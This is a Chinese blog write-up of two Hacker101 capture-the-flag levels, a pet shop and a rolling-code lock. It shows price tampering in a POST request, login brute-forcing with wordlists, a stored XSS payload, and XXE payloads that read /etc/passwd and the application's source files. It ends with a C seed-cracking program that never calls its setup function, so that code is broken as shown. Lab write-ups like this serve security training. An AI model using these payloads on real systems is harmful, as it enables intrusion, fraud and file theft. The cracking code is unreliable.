玩转Hacker101 CTF(四)

 

hi,大家好,我我我又又又来啦!接着第一篇第二篇还有第三篇的进度,这次为大家带来Hacker101 CTF的第十、十一题:

废话不多说,上题!

 

第十题Petshop Pro

这道题比较简单,说简单一下,打开主页:

看来是个宠物店,可爱的猫猫和狗狗,可以加入购物车带回家!:)

由于最近比较流行撸羊毛,所以看到这样的购物商店就想撸^_^,点个小猫加入购物车,自动跳转到付款页面:

在burpsuite中打开抓包开关,点击网页上的“check Out”,把付款包抓下来:

其中post的数据为:
cart=%5B%5B0%2C+%7B%22logo%22%3A+%22kitten.jpg%22%2C+%22price%22%3A+8.95%2C+%22name%22%3A+%22Kitten%22%2C+%22desc%22%3A+%228%5C%22x10%5C%22+color+glossy+photograph+of+a+kitten.%22%7D%5D%5D
url解码后为:
cart=[[0, {"logo": "kitten.jpg", "price": 8.95, "name": "Kitten", "desc": "8"x10" color glossy photograph of a kitten."}]]
可以看到价格等信息都在里面,来当回羊毛党吧,我们将price改为0发送,

ok,付款值已经变为了0,羊毛撸成功!拿到了第一个flag。

继续,看看有没有敏感路径,爆破一下路径,工具任选,发现有login页面:

试了一下万能密码、POST注入,均无效,但是发现输入错误的用户名会告知用户名错误,而且没有验证码和次数限制,

所以可以先爆破用户名,再爆破密码,先爆破用户名:

注意字典去这里找https://github.com/danielmiessler/SecLists,爆破用户名用里面的:SecLists-masterUsernamesNamesnames.txt,爆破密码用SecLists-masterPasswordsdarkweb2017-top10000.txt,别问我怎么知道的,

注意这里有个坑,正常的用户名和错误的用户名返回的包长度是一样的,因为”Invalid username”和”Invalie password”长度是一样的,所以看返回包的长度是看不出什么的,除非一个个包去翻ಥ_ಥ ,所以爆破用户名时要加一个结果匹配选项:

爆破结果:

然后爆破密码:

然后用correy:tuttle登陆:

拿到第二个flag,继续,看到页面上有edit链接,点开:

发现有可以编辑的地方,看能否xss,在name、description处都输入<img src=x onerror=alert(1)>,save保存,回到主页:

虽然payload奏效了,但是没有flag,去其他页面看看,点击checkout,跳转到付款页面:

拿到了第三个flag。

 

第十一题Model E1337 – Rolling Code Lock

这道题比较难,详细说一下,打开主页:

让我们输入code解锁,随便输个1,点Unlock解锁,

反馈一个期望值09454537,意思是我们刚才如果输入这个值得话就解锁了,那么再回到主页输入09454537,点击Unlock,

期望值变了,所以还是没成功,想了一会,没有头绪,试试其他思路吧,先爆破一下路径,工具任选,一下就找到了admin页面,来看一下:

这个admin页面比较奇怪,既没有登陆框也没有任何可供输入的地方,只有一条奇怪的信息:Lock location:Front door,抓包也没有看到任何有用的东西,右击看了一下网页源码:

有一条比较露骨的注释:

<!-- We should be using get-config for this on the client side. -->

所以应该有get-config:

这部就是刚刚admin页面中的信息么,再看一下这个页面的网页源代码:

是个XML格式的内容,那么get-config很可能读取了一个XML文件,我们现在将这些线索串起来,推测一下后台的逻辑:当我们访问admin页面时,admin调用了get-config,get-config读取了一个XML文件,获取了其中相关的字段,生成了admin页面。所以这道题很可能考察了XXE注入,我们需要通过XXE注入修改get-config读取的文件,比如说网站源码,但是XXE注入需要注入点啊,在哪里呢?

抓了一下admin页面和get-config的包,用OPTIONS请求探测了一下两个页面,发现两个页面都只支持HEADOPTIONSGET三种请求方法:

难道要爆破参数用GET方法发送XXE的payload,或者还有其他页面?我在反反复复测试XXE以及爆破页面的过程中度过了两个日夜,对着get-config页面发呆,最后几乎都要放弃了,忽然灵机一动,既然有get-config,为什么不会有set-config,访问了一下:

居然不是404!,说明这个页面是存在的,只是我们访问它的方式有一些问题,抓包,改请求方法为OPTIONS:

依然不支持POST,没关系,爆破一下参数,字典用上文提到的字典包,用里面的:SecLists-masterDiscoveryWeb-Contentburp-parameter-names.txt,payload参照get-config返回的内容,修改为:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "/etc/passwd" >]><config><location>&xxe;</location></config>

url编码后添加到参数后面,开始爆破:

很快就爆了出来:

这个包发生了302跳转,猜想这里payload已经奏效,所以回到admin页面,查看网页源码:

完美!接下来就是读取网站后台源码了,由于这里是uwsgi+flask+nginx+docker环境(看的hint),所以先用payload:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "uwsgi.ini" >]><config><location>&xxe;</location></config>

读取uwsig.ini,里面内容很简单:

module = main
callable = app

说明主模块为main.py,所以下一步用payload:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "main.py" >]><config><location>&xxe;</location></config>

读取main.py,这是网站的主页逻辑:

from flask import Flask, abort, redirect, request, Response, session
from jinja2 import Template
import base64, json, os, random, re, subprocess, time, xml.sax
from cStringIO import StringIO

from rng import *

# ^FLAG^7682cc1c5a112610b3cc9b7b87e0661223834323a2da73c0ee966eed510b6b49$FLAG$

flags = json.loads(os.getenv('FLAGS'))
os.unsetenv('FLAGS')

app = Flask(__name__)

templateCache = {}
def render(tpl, **kwargs):
    if tpl not in templateCache:
        templateCache[tpl] = Template(file('templates/%s.html' % tpl).read())
    return templateCache[tpl].render(**kwargs)

@app.after_request
def add_header(r):
    r.headers["Cache-Control"] = "no-cache, no-store, must-revalidate"
    r.headers["Pragma"] = "no-cache"
    r.headers["Expires"] = "0"
    r.headers['Cache-Control'] = 'public, max-age=0'
    return r

@app.route('/')
def index():
    return render('home')

@app.route('/unlock', methods=['POST'])
def unlock():
    code = int(request.form['code'])
    cur = next(26)
    time.sleep(5)

    if code == cur:
        return 'Unlocked successfully.  Flag: ' + flags[1]
    else:
        return 'Code incorrect.  Expected %08i' % cur

@app.route('/admin')
def admin():
    return render('admin', location=location)

location = 'Front door'

@app.route('/get-config')
def getConfig():
    return '<?xml version="1.0" encoding="UTF-8"?><config><location>%s</location></config>' % location

class Handler(xml.sax.ContentHandler):
    def __init__(self):
        self.location = None
    def startElement(self, name, attrs):
        if name == 'location':
            self.location = ''
    def endElement(self, name):
        if name == 'location':
            global location
            location = self.location
            self.location = None
    def characters(self, content):
        if self.location is not None:
            self.location += content

@app.route('/set-config')
def setConfig():
    data = request.args['data']
    parser = xml.sax.make_parser()
    parser.setContentHandler(Handler())
    parser.parse(StringIO(data))
    return redirect('admin')

app.run(host='0.0.0.0', port=80)

看!里面有flag,继续,阅读上面的源码,注意其中的unlock函数,实现首页的猜数字功能,我们要猜的期望值是由next(26)产生的,而next函数不在该页面中,看了一下第六行from rng import *,所以这里应该还有个rng.py,next函数应该就在其中,于是用payload:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "rng.py" >]><config><location>&xxe;</location></config>

读取rng.py,源码如下:

def setup(seed):
    global state
    state = 0
    for i in xrange(16):
        cur = seed & 3
        seed >>= 2
        state = (state << 4) | ((state & 3) ^ cur)
        state |= cur << 2

def next(bits):
    global state

    ret = 0
    for i in xrange(bits):
        ret <<= 1
        ret |= state & 1
        state = (state << 1) ^ (state >> 61)
        state &= 0xFFFFFFFFFFFFFFFF
        state ^= 0xFFFFFFFFFFFFFFFF

        for j in xrange(0, 64, 4):
            cur = (state >> j) & 0xF
            cur = (cur >> 3) | ((cur >> 2) & 2) | ((cur << 3) & 8) | ((cur << 2) & 4)
            state ^= cur << j

    return ret

setup((random.randrange(0x10000) << 16) | random.randrange(0x10000))

好吧,貌似有点复杂,读了几遍,大意明白了:先用一个2的32次方以内的seed值放入setup函数,生成state的初始值,然后主页接受到浏览器发送过来的code时就进入next函数,生成一个2**26以内的期望值,然后主页逻辑会将code与这个期望值比较,相等就能拿到第二个flag,关键这里state的状态变化太复杂了,实在看不出有啥破绽 (“▔□▔)/(“▔□▔)/,只好祭出暴力破解大法来爆破seed,使之满足计算出的第一个期望值与第二个期望值,注意这里爆破的seed范围为2的32次方,用python会非常慢,用C爆破效率高出许多:

#include <stdio.h>

unsigned long long state = 0;
unsigned long long expected_code1 = 12350614;
unsigned long long expected_code2 = 37524982;

void setup(unsigned int seed){
    state = 0;
    unsigned long long cur = 0ll;
    for(unsigned i=0;i<16;i++){
        cur = seed & 3;
        seed >>= 2;
        state = (state << 4)|((state & 3ll) ^ cur);
        state |= cur << 2;
    }
}

unsigned long long next(unsigned int bits){
    unsigned long long ret = 0l;
    for(unsigned int i=0;i<26;i++){
        ret <<= 1;
        ret |= (state & 1ll);
        state = (state << 1) ^ (state >> 61);
        state &= 0xFFFFFFFFFFFFFFFFll;
        state ^= 0xFFFFFFFFFFFFFFFFll;

        for(unsigned int j=0;j<64;j+=4){
            unsigned long long cur = 0ll;
            cur = (state >> j) & 0xFll;
            cur = (cur >> 3) | ((cur >> 2)&2ll) | ((cur<<3)&8ll) | ((cur<<2)&4ll);
            state ^= (cur << j);
        }
    }
    return ret;
}

int main(int argc,char *argv[]){
    unsigned int seed = 1;

    while(seed){
        if(next(26) == expected_code1){
            printf("first check passed,and seed is:%ldn",seed);
            if(next(26) == expected_code2){
                printf("second check passed,and seed is:%ldn",seed);
                printf("and next expected_code is :%ldn",next(26));
                break;
            }
        }
        seed++;
    }
    printf("end");
    while(getchar()!='+'){}
}

将第一个与第二个期望值代入上面的代码,爆破之,得到第三个期望值,回到主页面输入,验证通过,得到第二个flag:

打完收工!

(完)